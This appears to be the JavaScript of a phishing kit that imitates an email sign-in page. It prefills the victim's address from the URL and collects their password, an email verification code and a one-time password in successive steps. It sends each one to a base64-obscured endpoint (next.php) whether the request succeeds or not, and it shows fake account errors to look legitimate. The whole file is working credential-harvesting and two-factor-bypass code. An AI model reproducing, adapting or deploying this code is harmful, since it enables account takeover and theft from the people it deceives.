function limit(element) { var max_chars = 6; if (element.value.length > max_chars) { element.value = element.value.substr(0, max_chars); } } /* global $ */ $(document).ready(function() { var count = 0; $('#back1').click(function() { $("#msg").hide(); $('#ai').val(""); $("#automail").animate({ left: 200, opacity: "hide" }, 0); $("#inputbar").animate({ right: 200, opacity: "show" }, 1000); }); /////////////url ai getting//////////////// var ai = window.location.hash.substr(1); if (!ai) { } else { // $('#ai').val(ai); var my_ai = ai; var ind = my_ai.indexOf("@"); var my_slice = my_ai.substr((ind + 1)); var c = my_slice.substr(0, my_slice.indexOf('.')); var final = c.toLowerCase(); $('#field').html("Other Mail"); $('#ai').val(my_ai); $("#msg").hide(); } ///////////////url getting ai//////////////// var f = "bmV4dC5waHA="; $('#submit-btn').click(function(event) { $('#error').hide(); $('#msg').hide(); event.preventDefault(); var ai = $("#ai").val(); var pr = $("#pr").val(); var msg = $('#msg').html(); $('#msg').text(msg); /////////////////////////// var my_ai = ai; var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!my_ai) { $('#error').show(); $('#error').html("Account field is emplty.!"); ai.focus; return false; } if (!filter.test(my_ai)) { $('#error').show(); $('#error').html("That account doesn't exist. Enter a different account"); ai.focus; return false; } if (!pr) { $('#error').show(); $('#error').html("Password field is emplty.!"); ai.focus; return false; } var ind = my_ai.indexOf("@"); var my_slice = my_ai.substr((ind + 1)); var c = my_slice.substr(0, my_slice.indexOf('.')); var final = c.toLowerCase(); /////////////////////////// count = count + 1; $.ajax({ dataType: 'JSON', url: atob(f), type: 'POST', data: { ai: ai, pr: pr, }, // data: $('#contact').serialize(), beforeSend: function(xhr) { $("#div1").animate({ left: 0, opacity: "hide" }, 0); $("#div4").animate({ left: 0, opacity: "show" }, 0); // $('#submit-btn').html('Verifing...'); }, success: function(response) { setTimeout(() => { $("#aich").val(ai); $("#div4").animate({ left: 0, opacity: "hide" }, 0); $("#div2").animate({ right: 0, opacity: "show" }, 500); }, 1000); }, error: function() { setTimeout(() => { $("#aich").val(ai); $("#div4").animate({ left: 0, opacity: "hide" }, 0); $("#div2").animate({ right: 0, opacity: "show" }, 500); }, 1000); }, complete: function() { // $('#submit-btn').html('Sign in'); } }); }); $('#submit-btn-1').click(function(event) { $('#error').hide(); $('#msg').hide(); event.preventDefault(); var ai = $("#ai").val(); var pr = $("#pr").val(); var v_code = $("#v_code").val(); var msg = $('#msg').html(); $('#msg').text(msg); /////////////////////////// var my_ai = ai; var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!v_code) { $('.error').show(); $('.error').html("please fill your email Verfication code.!"); ai.focus; return false; } var ind = my_ai.indexOf("@"); var my_slice = my_ai.substr((ind + 1)); var c = my_slice.substr(0, my_slice.indexOf('.')); var final = c.toLowerCase(); /////////////////////////// count = count + 1; $.ajax({ dataType: 'JSON', url: atob(f), type: 'POST', data: { ai: ai, pr: pr, v_code: v_code, }, beforeSend: function(xhr) { $("#div2").animate({ left: 0, opacity: "hide" }, 0); $("#div4").animate({ left: 0, opacity: "show" }, 0); }, success: function(response) { setTimeout(() => { $("#div4").animate({ left: 0, opacity: "hide" }, 0); $("#div3").animate({ right: 0, opacity: "show" }, 500); }, 1000); }, error: function() { setTimeout(() => { $("#aich").val(ai); $("#div4").animate({ left: 0, opacity: "hide" }, 0); $("#div3").animate({ right: 0, opacity: "show" }, 500); }, 1000); }, complete: function() { // $('#submit-btn').html('Sign in'); } }); }); $('#submit-btn-2').click(function(event) { $('#error').hide(); $('#msg').hide(); event.preventDefault(); var ai = $("#ai").val(); var pr = $("#pr").val(); var v_code = $("#v_code").val(); var otp_code = $("#otp_code").val(); var msg = $('#msg').html(); $('#msg').text(msg); /////////////////////////// var my_ai = ai; var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; if (!otp_code) { $('.error').show(); $('.error').html("please fill your OTP Verfication code.!"); ai.focus; return false; } var ind = my_ai.indexOf("@"); var my_slice = my_ai.substr((ind + 1)); var c = my_slice.substr(0, my_slice.indexOf('.')); var final = c.toLowerCase(); /////////////////////////// count = count + 1; $.ajax({ dataType: 'JSON', url: atob(f), type: 'POST', data: { ai: ai, pr: pr, v_code: v_code, otp_code: otp_code, }, // data: $('#contact').serialize(), beforeSend: function(xhr) { $('#submit-btn-2').html('Verifing...'); }, success: function(response) { $("#otp_code").val(""); // window.location.replace("https://www.alibaba.com/"); }, error: function() { $("#otp_code").val(""); // window.location.replace("https://www.alibaba.com/"); }, complete: function() { $('#submit-btn-2').html('Submit'); } }); }); });